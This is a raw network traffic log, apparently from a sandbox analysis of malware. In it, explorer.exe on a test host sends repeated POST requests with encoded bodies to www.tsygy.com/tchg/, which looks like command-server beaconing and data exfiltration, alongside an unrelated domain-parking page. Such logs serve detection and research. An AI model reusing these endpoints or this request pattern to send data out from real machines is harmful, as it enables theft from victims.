May 30, 2023 11:14:12.549356937 CEST	1999	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Domain parking page</title>
May 30, 2023 11:14:12.549423933 CEST	2000	IN	Data Raw: 61 73 73 3d 22 63 61 72 64 2d 74 69 74 6c 65 20 63 61 72 64 2d 74 69 74 6c 65 2d 6c 67 22 3e 4c 6f 6f 6b 69 6e 67 20 74 6f 20 62 75 79 20 61 20 73 69 6d 69 6c 61 72 20 64 6f 6d 61 69 6e 20 74 6f 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ass="card-title card-title-lg">Looking to buy a similar domain to</p> <p class="card-subtitle"><span class="domainVar"></span>?</p> <a class="btn btn-primary" onclick="searchSimilarDomains()" rel="nofollow">STAR
May 30, 2023 11:14:12.549489021 CEST	2002	IN	Data Raw: 45 6c 6c 69 70 73 65 5f 32 37 30 36 22 20 64 61 74 61 2d 6e 61 6d 65 3d 22 45 6c 6c 69 70 73 65 20 32 37 30 36 22 20 63 78 3d 22 35 35 22 20 63 79 3d 22 34 35 2e 35 22 20 72 78 3d 22 35 35 22 20 72 79 3d 22 34 35 2e 35 22 20 74 72 61 6e 73 66 6f Data Ascii: Ellipse_2706" data-name="Ellipse 2706" cx="55" cy="45.5" rx="55" ry="45.5" transform="translate(1085 526)" fill="#ffda84"/> <g id="Group_12722" data-name="Group 12722" transform="translate(1119.711 505.758)">
May 30, 2023 11:14:12.549552917 CEST	2003	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 69 64 3d 22 50 61 74 68 5f 31 36 37 38 31 22 20 64 61 74 61 2d 6e 61 6d 65 3d 22 50 61 74 68 20 31 36 37 38 31 22 20 64 3d 22 4d 2d 33 34 34 2e Data Ascii: <path id="Path_16781" data-name="Path 16781" d="M-344.883,357.87a.085.085,0,0,1-.164,0,5.343,5.343,0,0,0-1.362-2.345,5.35,5.35,0,0,0-2.36-1.37.085.085,0,0,1,0-.164,5.459,5.459,0,0,0,2.382-1.415,5.458,5.458,0,0,0,1.3
May 30, 2023 11:14:12.549609900 CEST	2004	IN	Data Raw: 6c 65 22 3e 41 63 63 65 73 73 20 61 6c 6c 20 74 68 65 20 74 6f 6f 6c 73 20 79 6f 75 20 6e 65 65 64 20 66 6f 72 20 6f 6e 6c 69 6e 65 20 73 75 63 63 65 73 73 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: le">Access all the tools you need for online success.</p> <a class="btn hooverable btn-secondary btn-fix" href="https://www.fasthosts.co.uk/get-online?utm_source=domainparking&utm_medium=referral&utm_campaign=fh_parking
May 30, 2023 11:14:12.549669027 CEST	2004	IN	Data Raw: 72 72 61 6c 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 66 68 5f 70 61 72 6b 69 6e 67 5f 64 61 63 60 3b 0a 7d 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: rral&utm_campaign=fh_parking_dac`;}</script></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.11.20	49771	23.104.137.185	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:38.161920071 CEST	455	OUT	POST /tchg/ HTTP/1.1 Host: www.tsygy.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.tsygy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.tsygy.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 77 5a 70 44 62 4c 57 31 62 64 51 48 31 4d 70 4a 55 4e 56 79 46 41 56 6b 59 56 62 64 49 67 65 4c 43 33 56 34 4e 68 46 6b 72 36 79 42 75 69 74 55 67 5f 70 67 51 4e 6d 7a 6c 45 79 79 49 5f 48 55 4a 38 48 33 55 36 36 7a 4a 44 4e 7a 32 65 36 46 78 5a 53 5a 67 63 42 2d 41 41 68 38 42 6f 4b 61 6c 35 33 6e 41 35 6e 58 7a 6e 32 5f 55 51 58 53 6a 46 28 50 7e 33 64 4c 50 6f 6c 34 63 67 77 75 74 66 54 53 44 50 66 35 31 41 41 4e 56 49 6a 7a 45 76 6f 43 63 48 6c 62 7e 42 6b 56 61 4c 55 6d 37 67 67 69 36 51 7a 54 6d 2d 55 71 76 51 35 70 6d 79 54 59 68 6f 6d 72 42 43 6a 61 57 66 62 61 4b 52 70 78 36 62 54 2d 28 5a 59 78 4a 49 65 6a 76 77 75 49 70 4a 56 4f 33 31 6f 4b 28 50 55 42 4a 33 42 35 76 7a 77 5a 72 36 45 56 49 47 42 2d 42 38 46 58 6f 6d 28 50 6c 69 71 39 42 57 35 54 38 48 51 6f 70 42 49 6c 31 5a 67 66 36 49 6b 41 37 6a 72 5a 75 67 59 42 42 64 65 53 4e 6b 6b 46 6c 52 4e 74 4c 74 68 49 72 4c 43 4a 68 66 68 6d 72 45 70 59 31 6e 49 61 6f 32 66 5a 50 31 36 44 45 53 28 67 37 72 49 78 72 48 31 67 71 69 59 65 56 42 66 4d 71 39 28 6d 6f 63 64 71 52 49 44 31 79 4a 76 48 39 36 62 33 4e 78 32 41 32 73 77 69 47 6d 61 43 6b 4c 49 7a 77 39 5a 4c 36 30 56 72 38 75 61 35 47 31 31 49 75 51 78 56 66 58 62 54 5a 7a 73 78 47 58 75 50 53 2d 74 52 78 30 30 72 35 6f 4c 30 63 53 51 42 45 4e 4f 72 50 61 58 6e 49 6c 6d 77 6e 64 61 58 6f 6b 49 33 66 76 49 4b 4a 61 5a 30 6f 65 53 46 6e 42 37 6f 4b 7a 41 38 62 4e 6b 74 31 51 65 51 47 6b 37 50 74 33 48 66 39 36 45 78 6d 55 53 49 6e 54 30 53 75 70 30 66 30 69 45 78 30 49 34 4b 54 7a 6b 52 70 5f 5a 59 5a 4a 67 75 71 4e 55 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=wZpDbLW1bdQH1MpJUNVyFAVkYVbdIgeLC3V4NhFkr6yBuitUg_pgQNmzlEyyI_HUJ8H3U66zJDNz2e6FxZSZgcB-AAh8BoKal53nA5nXzn2_UQXSjF(P~3dLPol4cgwutfTSDPf51AANVIjzEvoCcHlb~BkVaLUm7ggi6QzTm-UqvQ5pmyTYhomrBCjaWfbaKRpx6bT-(ZYxJIejvwuIpJVO31oK(PUBJ3B5vzwZr6EVIGB-B8FXom(Pliq9BW5T8HQopBIl1Zgf6IkA7jrZugYBBdeSNkkFlRNtLthIrLCJhfhmrEpY1nIao2fZP16DES(g7rIxrH1gqiYeVBfMq9(mocdqRID1yJvH96b3Nx2A2swiGmaCkLIzw9ZL60Vr8ua5G11IuQxVfXbTZzsxGXuPS-tRx00r5oL0cSQBENOrPaXnIlmwndaXokI3fvIKJaZ0oeSFnB7oKzA8bNkt1QeQGk7Pt3Hf96ExmUSInT0Sup0f0iEx0I4KTzkRp_ZYZJguqNU.
May 30, 2023 11:08:38.329802036 CEST	456	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Tue, 30 May 2023 09:08:35 GMT Connection: close Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 04 00 0d 0a Data Ascii: a
May 30, 2023 11:08:38.329916954 CEST	456	IN	Data Raw: 32 61 66 0d 0a c5 55 3f 73 d3 30 14 ff 2a c6 3d 48 7b d7 c4 92 25 39 96 9d 78 29 cc 30 74 61 74 6d 25 11 75 2c 63 2b 75 d2 91 8d a1 ac 2c 4c b0 74 68 cb c0 50 0e 8e eb 97 81 36 4c 7c 05 24 d9 40 da 2b 3d b8 eb 5d 3d f8 67 e9 fd fb e9 bd a7 e7 1f Data Ascii: 2afU?s0=H{%9x)0tatm%u,c+u,LthP6L\|$@+=]=g>~5,5fy5'RuQOcRJh X`BFEU\z05zCO(1)op2@KI?8)lQ2l+dwMKSV%%/$%E?jd
May 30, 2023 11:08:38.329998016 CEST	456	IN	Data Raw: 38 0d 0a ee 6a 61 23 a4 06 00 00 0d 0a Data Ascii: 8ja#
May 30, 2023 11:08:38.330065966 CEST	456	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.11.20	49772	23.104.137.185	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:40.849282980 CEST	463	OUT	POST /tchg/ HTTP/1.1 Host: www.tsygy.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.tsygy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.tsygy.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 77 5a 70 44 62 4c 57 31 62 64 51 48 31 4d 70 4a 55 4e 56 79 46 41 56 6b 59 56 62 64 49 67 65 4c 43 33 56 34 4e 68 46 6b 72 36 36 42 76 52 56 55 67 63 42 67 52 4e 6d 7a 70 6b 79 7a 49 5f 47 57 4a 38 66 4a 55 36 48 4d 4a 41 35 7a 32 4a 6d 46 77 72 4b 5a 31 73 42 5f 63 51 68 2d 4c 49 4b 33 6c 35 79 2d 41 35 43 67 7a 55 71 5f 56 54 6a 53 6e 30 28 51 39 6e 64 4e 50 6f 6c 30 59 67 78 52 74 66 65 50 44 50 62 35 31 46 49 4e 56 36 72 7a 58 4d 41 43 56 33 6c 55 78 68 6b 47 52 72 56 55 37 67 6b 59 36 51 7a 44 6d 5f 51 71 76 51 5a 70 30 6c 48 58 69 49 6d 72 4f 53 6a 64 53 66 57 54 4b 51 46 70 36 62 6e 2d 28 61 49 78 4c 6f 65 6a 35 42 75 4a 68 4a 56 49 6c 46 70 4b 37 50 6f 4a 4a 33 55 41 76 32 6f 5a 71 4b 41 56 4b 31 5a 2d 52 74 46 58 6c 6d 28 4a 37 53 71 55 4c 32 35 50 38 48 41 53 70 43 51 66 31 66 67 66 37 73 38 41 74 57 4c 59 71 41 59 39 45 64 66 51 4a 6c 59 4a 6c 51 67 79 4c 74 68 59 72 4a 75 4a 68 72 6c 6d 71 46 70 66 30 58 49 64 6b 57 65 54 42 56 32 7a 45 53 6a 34 37 6f 59 68 72 45 5a 67 37 79 59 65 51 69 33 50 39 39 7e 73 33 4d 63 31 63 6f 43 76 79 4a 69 73 39 2d 44 6e 4f 43 69 41 31 34 55 69 51 57 62 55 76 4c 49 33 7e 64 5a 4e 7e 30 56 72 38 75 6e 43 47 31 78 49 75 68 35 56 65 6b 7a 54 64 69 73 78 56 48 75 42 53 2d 74 4d 78 30 4a 66 35 6f 79 6c 63 53 41 76 45 50 69 72 50 50 28 6e 4c 6b 6d 7a 72 4e 61 50 73 6b 4a 76 52 50 46 63 4a 61 56 38 6f 65 69 5f 6b 32 44 6f 4c 7a 51 38 4b 64 6b 75 67 41 65 58 50 45 37 64 6e 58 4b 47 39 36 59 68 6d 58 50 54 6e 54 63 53 7e 65 5a 48 74 54 34 51 68 2d 63 32 61 56 4e 47 6e 66 4a 50 4d 5a 49 56 72 59 4e 43 47 50 65 6e 33 62 69 6f 35 76 35 73 28 45 6f 31 58 6f 59 7a 79 67 35 6f 4b 49 28 4c 6d 4f 6d 6d 6b 76 38 61 6f 76 39 56 46 64 4b 42 33 64 58 41 74 4c 75 58 71 74 56 43 58 4d 56 34 38 33 67 55 32 62 32 41 48 7a 4d 4d 52 38 70 55 66 64 72 33 7e 32 61 70 64 58 32 6c 72 4d 58 74 62 35 76 76 59 65 34 30 41 55 4d 39 51 71 32 72 75 61 31 65 73 57 6e 4c 58 44 74 32 31 46 56 51 67 44 6f 44 4c 53 32 33 47 59 38 72 6e 55 36 39 47 4d 54 53 6a 36 6f 63 57 70 49 58 61 75 65 69 70 4c 50 63 31 69 79 6f 55 62 6d 6a 36 6a 58 37 31 72 75 59 55 36 7e 78 7a 31 6c 61 68 57 4b 42 30 58 61 61 51 47 6a 75 6e 34 7a 74 32 72 6d 43 28 6d 62 4b 4a 37 75 66 69 6a 56 72 5a 55 6b 63 4f 6d 4d 5a 66 74 57 46 6e 68 32 4d 52 51 44 58 28 39 4b 77 6c 69 6d 4d 64 67 43 52 6b 6f 46 69 4b 67 38 55 34 59 57 58 74 66 41 33 49 5a 37 4c 46 66 77 46 4f 78 51 46 71 6e 58 66 64 64 63 59 34 57 38 44 53 34 77 32 50 6b 64 32 31 45 46 6f 46 53 47 35 4a 73 54 69 49 62 6a 38 77 41 35 68 4c 79 5a 58 6c 31 42 68 43 33 56 4c 30 58 64 54 46 61 63 6d 39 56 33 63 63 78 33 33 34 70 69 6e 28 44 54 79 32 53 62 45 6c 33 70 55 33 39 33 61 4a 4d 43 50 6f 6a 52 65 6c 55 53 4e 63 77 54 5f 74 33 44 42 78 76 4d 62 31 43 53 49 51 4e 70 72 48 4e 7a 6d 65 72 4f 5a 38 5a 4a 2d 4a 61 73 79 78 64 31 42 32 30 58 71 66 6c 53 48 72 57 4d 41 4a 56 73 78 70 74 4c 6e 58 58 58 63 34 59 76 61 4c 52 72 77 62 30 54 54 79 53 56 55 52 5f 7a 6e 65 30 4a 33 6a 38 4b 66 34 52 53 5f 5a 6d 67 48 65 6c 48 4d 61 78 5a 5a 4b 33 73 39 7a 4e 79 31 38 37 52 74 4f 52 39 34 66 4b 74 31 78 79 77 4c 55 73 62 75 73 42 34 67 51 62 4b 53 64 66 4d 46 47 30 51 67 32 36 69 69 70 6f 74 49 54 65 36 6f 53 2d 55 74 4e 53 61 45 31 4e 69 34 4b 42 7a 47 49 6d 43 72 5a 30 6b 6f 49 2d 6c 50 74 2d 6f 73 75 51 59 34 6e 37 48 54 5a 53 70 6e 4f 35 4a 47 28 6a 71 50 32 75 58 5f 77 50 73 66 77 4d 34 67 45 4a 77 35 42 50 34 72 65 4f 76 45 77 4c 46 52 76 52 44 4e 71 4b 69 41 75 70 4d 4b 28 2d 52 64 56 34 55 57 50 4a 66 64 4e 70 50 63 58 5a 42 2d 74 77 53 53 4d 55 42 4a 5a 2d 46 66 47 35 55 2d 47 41 57 66 71 4e 53 49 6a 4b 35 4c 56 55 77 55 43 39 68 46 42 69 6c 45 7e 4a 45 7a 71 55 6b 6e 53 4b 44 54 6e 77 49 77 6d 48 56 56 64 37 39 79 37 4e 67 6a 53 6f 6c 73 65 44 4b 68 71 4b 57 6c 5a 44 51 42 49 63 4c 49 68 4f 76 4c 76 4c 75 51 74 4a 37 54 69 43 4a 4a 51 6a 77 4f 28 52 78 47 4a 34 66 4d 77 39 34 5a 78 5f 36 45 39 33 44 61 59 5a 4b 44 5a 68 4e 43 33 44 35 57 58 53 6e 2d 74 4d 47 56 75 68 70 67 6f 4e 64 51 75 58 6d 34 30 41 36 6e 6c 30 72 58 75 72 6a 54 72 56 39 63 6b 67 37 6e 66 79 51 56 57 Data Ascii: O0qEM=wZpDbLW1bdQH1MpJUNVyFAVkYVbdIgeLC3V4NhFkr66BvRVUgcBgRNmzpkyzI_GWJ8fJU6HMJA5z2JmFwrKZ1sB_cQh-LIK3l5y-A5CgzUq_VTjSn0(Q9ndNPol0YgxRtfePDPb51FINV6rzXMACV3lUxhkGRrVU7gkY6QzDm_QqvQZp0lHXiImrOSjdSfWTKQFp6bn-(aIxLoej5BuJhJVIlFpK7PoJJ3UAv2oZqKAVK1Z-RtFXlm(J7SqUL25P8HASpCQf1fgf7s8AtWLYqAY9EdfQJlYJlQgyLthYrJuJhrlmqFpf0XIdkWeTBV2zESj47oYhrEZg7yYeQi3P99~s3Mc1coCvyJis9-DnOCiA14UiQWbUvLI3~dZN~0Vr8unCG1xIuh5VekzTdisxVHuBS-tMx0Jf5oylcSAvEPirPP(nLkmzrNaPskJvRPFcJaV8oei_k2DoLzQ8KdkugAeXPE7dnXKG96YhmXPTnTcS~eZHtT4Qh-c2aVNGnfJPMZIVrYNCGPen3bio5v5s(Eo1XoYzyg5oKI(LmOmmkv8aov9VFdKB3dXAtLuXqtVCXMV483gU2b2AHzMMR8pUfdr3~2apdX2lrMXtb5vvYe40AUM9Qq2rua1esWnLXDt21FVQgDoDLS23GY8rnU69GMTSj6ocWpIXaueipLPc1iyoUbmj6jX71ruYU6~xz1lahWKB0XaaQGjun4zt2rmC(mbKJ7ufijVrZUkcOmMZftWFnh2MRQDX(9KwlimMdgCRkoFiKg8U4YWXtfA3IZ7LFfwFOxQFqnXfddcY4W8DS4w2Pkd21EFoFSG5JsTiIbj8wA5hLyZXl1BhC3VL0XdTFacm9V3ccx334pin(DTy2SbEl3pU393aJMCPojRelUSNcwT_t3DBxvMb1CSIQNprHNzmerOZ8ZJ-Jasyxd1B20XqflSHrWMAJVsxptLnXXXc4YvaLRrwb0TTySVUR_zne0J3j8Kf4RS_ZmgHelHMaxZZK3s9zNy187RtOR94fKt1xywLUsbusB4gQbKSdfMFG0Qg26iipotITe6oS-UtNSaE1Ni4KBzGImCrZ0koI-lPt-osuQY4n7HTZSpnO5JG(jqP2uX_wPsfwM4gEJw5BP4reOvEwLFRvRDNqKiAupMK(-RdV4UWPJfdNpPcXZB-twSSMUBJZ-FfG5U-GAWfqNSIjK5LVUwUC9hFBilE~JEzqUknSKDTnwIwmHVVd79y7NgjSolseDKhqKWlZDQBIcLIhOvLvLuQtJ7TiCJJQjwO(RxGJ4fMw94Zx_6E93DaYZKDZhNC3D5WXSn-tMGVuhpgoNdQuXm40A6nl0rXurjTrV9ckg7nfyQVWmzjNi5M2r4c9JhkW8cgx7qmWRbQT8r8MdhHnP5aSLu5rChjyOM24z3n7aNzzhCRBmhBWLVevFPObg0hfELhO_XRlLVtl7eG1KpsM_ZUGP1jw8zfq832PrR_pJk4qooY(6q5FafnfHPSVVyvZSyJagYwifFxbyVIMwVUByGqmfxvpDrpqDO7sMwKHzZp4segtR2CWGpXWNPl(-MvtUQ5EVz3UbZ9Kh4qdE77QjHtbumI(lTAcpcC2QUoPJHcY4JFzJw1iwnnbQTdXDMuxvFUagRQHexy0Of6aNTQljjxEhYixQpq6NUfyp4xMnYHlJlin-jkcmnjEqvaGjDwx35GxrP8EN6BZf(CGab8llcIdHFV0TB5NqDl1i6tVYVY9s1hlvlzK6wRRUuPX_ahnnMWwR9kgv48~zuFDUful-54vPrfCi9j4WtaINJPNJVj0wuXek~_73MHqyMLqDPrNgY8SDdi96TT3lXmUGSZXgcO5yu2pZpoKvKB~MaZlDAAhyFjU7mQ~YchKbCOBKSoGUdR0zxBROV1VgrcUxz-HNzRU-I3o0C82_05UnUkyK7BWogtbHt6dVzygmJDnpcX3hteTvB3CeBXfgZbu0fIJFez2ZXW8UconhTBzHRxukTJuMDLUO0GD9ZhEIYa(mYkem6Y4T755CWaHexAx_4ZTz~xdihZ~UReB3DQxu5CvpiXsgb_lsJj4uxrGIE2ssTnzkw5Z3mk4vHlp42fNog00hS_cCZgzWWevQ6mwKq9UqK9BvdED8XeM9OYjx~VO0~ktOtcbW5f64693v41cVCvldlJduB3jQhuuAFTvMRYMsvELx(-HiZDLVDLSSg7Vs6-xb33d5wOg6vC244USj4egQ2SHUKjoF1tGpnzbBdttT~rAvKvXLd5gVHAh4DXa9SFhycZEhL-Xe49lnUDnmESSIl53xd3ffkJrh03GocE15sF2gK-cMO_vtD7KfJPl3jJRno8g90aodfRiaudm7O2YsL88TSaeGZKYKnylaCee76nptnLc3sqLYg7YYWHWhlivIfZ8QVsWZ78hnvYWmGLNPp8u7zP6RH9u9Vr6qu4sn4OeC2AeMwUFINlAayfQ2oymSx9TBlP(4009oJGZNokRlcEIUmG1J3g4qfEQn3dNK1s84QWMZCS8lLDx-p1IX0-4rdjzMPQ15bdkPuiN0tfvjjDp7BZlOWKt1oZwelZcHndK2JZw5YBdbz3jogMkaGtEEimqXwm3RKVi7cKHcwhybWZTk2FtUI99cZF5HKE7pIGXxV6y28K6nXSVcPKx5MmHdFo5gBYG5VQun9RZoTshO46HfoS~bVmqpl_E-OttxfoTilhiheg77KoD7tf1x3vMd9b5TH21NVGJGC0EWnid7iLtxwNpQx-3JqPPAuz88Z5E7XOSgmdw0ScixL-AUGwCCSR8gteY8OSUiMGQxG0XI8Anmn_1j8lsR3BKZsQ3gRtXfTdqWIC0Mk90tzTioqR8q~hUD4q05fTwpHQXGX7hPUwbvzzgqfR~mHQYQ~rzOqOA05eBUgSdUBmc4YAUnHeIPvJIMSpk6itl7b0Yoj1EbxoOxmuaeqmHU5xMISl0usfS4BtCL0-3PbAypfIQvavbJw-n9AGLOwexUTKnr0bcyteVywc~YI2o9QYA8ZD24Ln5-3LMnf7eXbm1HTMP4NwpvM8T8SmO3qUg39KEUgRQIbPWgtp(GnWwp9iUIWTrY9NszbqBfGlvcPzuK9R1XsICNhii_ktF1okn90iR8HzPUQ77KA69G009fh-9tdFqgMx4PBcuz8dRTTEOMIU68K-gG(oI3A98vM1obShRP(aCCeGN01Lna95el0uTHNzQz(K~iqskfUSKtlMT-g76ineBEdv11xuZz5xWFGourXoaEboqqielLpoAvoIZG8uU-w6qhdKoRTXHGOEmUK57_yoUemEpdjA1_gX5eTpab3EnuqHwQ1SThCu0doPMh7QXd93Cesms7BydZQoXOoAeIcHiRDNgpzyvZUVvz45ClGjMMVWv0S06uEOyENkYG1dsRkEyyB3Jf2iYgmv4Ok00YB0Zkic49Y03T4KKvKMGC3i~3OgcM~GtpB-A93QFGnT~pF0OsXJvROt6tefbw1E6MYCNhe032htPvepiI~PmW287ZyR0Mb0~pPOthpqsCVzZ9ArjoyMJQUohM1mk4edS3OA171hSo(4b1HR2WqeYnMfr6OpN40RMXTJyy~z9pya8ctN7Qt_diY8sA~jv2~gwGcH6XTZ2Eu4e_ISNfQK4LB-aP2dfLF5TUGWCrJ-OaVo8qkKdoQ49cHgCUb5J2QggUYxfhi3xk8kANGY2dHT7g15HYGl6s6iSGjzzQnIkVOylf(v(b67krWzsMpnmRs8X-vsAqr6pRACjISlMm~HQu2p7Lk2Jwm_0s3o57Hrj2OXB-dsTV5cSieyGWYYNlPonGIRo945PodJ2av3UVVlOQW-iGb3QN2mQpV3UsikKiDsbHXI2GkFODREEVxuI5ede4JLzOjmcTILCeeZrxZwUSFnusBz1aZ_YBaU7unEZna8(g9H3iuxgd6CbvTjHRAR7VW_ORNqBtJ1f199n66Tn9LCg1CdWuDRcX5jZUCY5wkMjap1pYrrLK8dRn0sOXzgcgEj7hJr3xSACL79NVF94lLH4NzKo-Wa(ZuqSAFkdadru2ffQg9SIB~83FFqF9fEWNqgezUu3cQKhtVpnVQSh1G4
May 30, 2023 11:08:40.849358082 CEST	464	OUT	Data Raw: 36 6a 6f 6a 73 52 61 77 43 65 46 70 36 7e 71 45 6a 4d 71 42 72 70 33 4f 6f 47 76 69 7a 7a 69 6f 78 5a 53 32 6e 52 4d 58 6c 59 53 65 58 32 65 41 76 6d 38 5a 63 72 32 42 41 53 76 34 50 6e 44 36 71 45 47 6a 2d 49 4b 28 4c 7e 7a 69 64 6b 73 4d 78 6b Data Ascii: 6jojsRawCeFp6~qEjMqBrp3OoGvizzioxZS2nRMXlYSeX2eAvm8Zcr2BASv4PnD6qEGj-IK(L~zidksMxkEJMFiBwWRcJYOLrKfQ4x6w92MxUoDDtkKzzghGsafyOB-gDIA1Ds9Y5wobp9zvY4m34GAGPZGdKYDYWLCV1i_7rhYmrYBpBbdqRJ9zoTMZ0a_WtjymLRKVvfPCOUdRlxEb8ZUPX1damFWag5CbmG8RT23Mt8TU9(3
May 30, 2023 11:08:41.016308069 CEST	471	OUT	Data Raw: 69 57 69 35 5a 42 73 6d 46 43 70 63 34 42 70 45 4c 55 59 5a 48 6e 54 77 45 54 4f 4f 72 43 78 55 57 6e 55 64 62 69 54 72 6b 64 4a 65 39 4f 64 66 53 39 46 38 4f 67 61 28 6e 64 6e 33 6f 33 69 33 74 62 2d 63 51 51 2d 36 6e 73 55 71 6e 6d 44 51 64 67 Data Ascii: iWi5ZBsmFCpc4BpELUYZHnTwETOOrCxUWnUdbiTrkdJe9OdfS9F8Oga(ndn3o3i3tb-cQQ-6nsUqnmDQdgN2rbw~gLXZVJ8dd7_DQkN2INJIwgs6eO9jO3xdPgW7xDtIrEfbaTfHfL10P~iY99XIKJy6i9rK1n-FCuQ9VwA6_8zS7UvEFgK5yVI8DJUCQSwN_HoVuX_vnHH2I(ixGWZqxJp5cC6ji5Lez97Ecr_8gI2oVZaOL2C
May 30, 2023 11:08:41.016390085 CEST	475	OUT	Data Raw: 47 4f 6e 76 5a 49 6c 39 49 62 69 76 4f 4c 70 76 47 31 67 37 70 44 5f 50 43 57 63 77 55 39 67 57 69 42 4f 35 73 55 57 64 38 44 55 6c 70 42 51 65 75 71 37 70 64 4a 32 79 47 4d 37 72 47 6b 48 39 58 79 6d 41 6f 51 48 67 32 38 77 41 56 48 2d 37 57 6a Data Ascii: GOnvZIl9IbivOLpvG1g7pD_PCWcwU9gWiBO5sUWd8DUlpBQeuq7pdJ2yGM7rGkH9XymAoQHg28wAVH-7Wj41fN679BixO0BMZSqf6rsYetxYzcRo5yG9xPza5SEujVopDBvVBbjInhIbkE4SVKMbAxxdGF-0xCbVZ6RCUQ8Ks1gUUmk4fmVQCEkehBHxMTysHxfaGy1FRzPr7NqroF-yABcAaVuN-DxKVDU3sCWt0j5HOdwmj7Q
May 30, 2023 11:08:41.016454935 CEST	477	OUT	Data Raw: 6d 6d 42 52 58 31 63 52 6c 73 64 4b 33 45 48 54 4b 5a 51 38 72 48 30 33 63 65 53 6f 35 70 33 35 4b 55 42 77 31 47 62 7e 71 74 4e 30 39 36 54 78 33 41 76 6c 30 46 51 62 69 61 31 41 64 48 6c 49 38 79 57 41 44 75 73 58 57 6d 47 53 6f 4d 73 4e 46 34 Data Ascii: mmBRX1cRlsdK3EHTKZQ8rH03ceSo5p35KUBw1Gb~qtN096Tx3Avl0FQbia1AdHlI8yWADusXWmGSoMsNF4GJB3VKajZZXoG1MZziye85kIycRG_5QBgtS6fRnZqgDq5fIy7yQFbqXGmg8aWjMpIYwPjD4geiVho3dHAEaeCxkS3xaObiegzG6p1jAuFPGHtlP73RUPIb59KArs6nxSJAVUmCNP-rsx3c6XmHD6Lkip5ABojtdRm
May 30, 2023 11:08:41.016685009 CEST	485	OUT	Data Raw: 4f 6c 4c 43 4d 4d 72 7e 5f 38 55 56 78 69 71 59 45 45 63 66 78 39 38 53 58 46 46 57 65 6c 49 62 42 46 7a 66 35 58 39 58 2d 36 62 30 71 33 45 6a 72 34 72 69 55 58 51 6f 6b 48 31 6c 63 4a 72 4e 74 47 54 5a 78 42 74 38 47 69 6c 58 4f 45 49 68 36 41 Data Ascii: OlLCMMr~_8UVxiqYEEcfx98SXFFWelIbBFzf5X9X-6b0q3Ejr4riUXQokH1lcJrNtGTZxBt8GilXOEIh6AIOjpTUoaYx5a6vO7raa2kIy5BBqhobntj8zBetcM9rNNsIt5d4nwI5htQXJeXwrWjiSdjr96Hd1nrnzukaEq5karaYozMQAbvPTSTjxS0i8rX0Atmn6ag8x2rfeIrWGhc0CpIjwArY3t0eubgE1QaOiSWGzM9R2VB
May 30, 2023 11:08:41.016923904 CEST	485	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Tue, 30 May 2023 09:08:37 GMT Connection: close Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 04 00 0d 0a Data Ascii: a
May 30, 2023 11:08:41.017153978 CEST	486	IN	Data Raw: 32 61 66 0d 0a c5 55 3f 73 d3 30 14 ff 2a c6 3d 48 7b d7 c4 92 25 39 96 9d 78 29 cc 30 74 61 74 6d 25 11 75 2c 63 2b 75 d2 91 8d a1 ac 2c 4c b0 74 68 cb c0 50 0e 8e eb 97 81 36 4c 7c 05 24 d9 40 da 2b 3d b8 eb 5d 3d f8 67 e9 fd fb e9 bd a7 e7 1f Data Ascii: 2afU?s0=H{%9x)0tatm%u,c+u,LthP6L\|$@+=]=g>~5,5fy5'RuQOcRJh X`BFEU\z05zCO(1)op2@KI?8)lQ2l+dwMKSV%%/$%E?jd
May 30, 2023 11:08:41.017222881 CEST	486	IN	Data Raw: 38 0d 0a ee 6a 61 23 a4 06 00 00 0d 0a Data Ascii: 8ja#
May 30, 2023 11:08:41.017287016 CEST	486	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
